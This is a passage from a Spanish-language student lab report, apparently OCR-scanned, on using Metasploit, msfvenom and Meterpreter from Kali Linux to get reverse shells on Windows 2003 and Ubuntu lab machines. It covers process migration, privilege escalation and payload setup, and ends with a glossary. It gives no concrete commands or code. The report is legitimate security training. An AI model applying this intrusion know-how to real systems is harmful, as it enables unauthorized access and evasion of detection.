Se procedi¢ a listar los procesos en ejecucion de la maquina victima utilizando el
comando ps desde la sesion Meterpreter. Luego, se intent6 realizar una migracion del

proceso satena.elf con el comando migrate.



Sin embargo, no fue posible, consultando se evidencio que en Linux, esa

funcionalidad no esta soportada.



2 Problemas encontrados

Los principales inconvenientes se presentaron durante la etapa de configuracion del
payload y los parametros de red entre los dos sistemas operativos Linux, ya que teniendo en
cuenta que la seleccion del payload varia segun el sistema operativo de destino tanto al
momento de generar el archivo como al configurar la conexion en Metasploit, se generaron
confusiones en las primeras pruebas, ya que la conexion entre la maquina victima y el

atacante no se establecia correctamente.



3 Soluciones de los problemas

La solucion a las problematicas presentadas consistiod en realizar una investigacion
que permitié6 comprender correctamente puntos claves, como la arquitectura del sistema
operativo objetivo, la estructura y extension adecuadas para crear el archivo malicioso
compatible con Linux, y como los comandos necesarios para ejecutar dicho archivo en

Ubuntu.



4 Recomendaciones

Se recomienda prestar atencion a la correcta escritura de los comandos, ya que
puede generar fallos en la ejecucion. Asimismo, es aconsejable investigar y familiarizarse
con los comandos que permiten salir, retroceder o navegar correctamente dentro de las

terminales.



5 Conclusiones

Se logro establecer correctamente la conexion remota mediante Meterpreter desde

Kali Linux hacia ambos sistemas operativos, Windows 2003 y Ubuntu.

Se observaron diferencias importantes al trabajar con ambos sistemas operativos. En
Linux, es fundamental considerar aspectos como la arquitectura del sistema para crear

archivos maliciosos compatibles, mientras que en Windows este requisito no es importante.

Asimismo, se evidenci6 una mayor vulnerabilidad en Windows en cuanto a la
escalada de privilegios. En ese sistema, fue posible elevar los privilegios y migrar la sesion
a otros procesos. Al contrario, en Ubuntu no se pudo realizar la migracion de procesos ni

lograr la misma escalada con los comandos probados.

Finalmente, este laboratorio representd un valioso aprendizaje, que nos motiva a

continuar profundizando en el area de la seguridad informatica y el hacking ético.



6 Glosario

Exploit: Cédigo o software que aprovecha una vulnerabilidad en un sistema para

obtener acceso o causar un comportamiento no deseado.

Payload: Codigo que se ejecuta en la maquina objetivo después de explotar una

vulnerabilidad.

Meterpreter: Payload avanzado de Metasploit que permite controlar remotamente
una maquina comprometida con funcionalidades como ejecutar comandos, capturar datos o

migrar procesos .

Msfvenom: Herramienta de Metasploit utilizada para generar archivos maliciosos

(payloads) personalizados para diferentes sistemas operativos.

LHOST (Local Host): Direccion IP del equipo atacante que recibe la conexion

inversa del payload.

LPORT (Local Port): Puerto en el equipo atacante que esta configurado para

escuchar la conexidn entrante del payload.

Reverse TCP: Técnica en la que el payload establece una conexion desde la

maquina victima hacia el atacante, facilitando la comunicacion remota.

Escalada de privilegios: Técnica que permite a un usuario o proceso obtener

mayores permisos dentro del sistema, como acceder a funciones de administrador o root.



U

Migracion de proceso (migrate): En Windows, mover la sesion Meterpreter a otro

proceso para mantener el acceso y evitar la deteccion.

Linux: Sistema operativo tipo Unix de codigo abierto, utilizado comtinmente en

servidores y entornos de desarrollo.
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